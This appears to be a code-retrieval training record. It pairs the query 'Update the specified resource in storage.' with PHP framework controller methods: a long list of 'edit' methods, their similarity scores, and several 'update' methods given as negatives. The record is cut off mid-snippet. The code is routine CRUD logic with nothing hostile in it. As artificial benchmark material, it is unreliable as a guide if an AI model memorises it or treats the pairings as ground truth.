"public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume 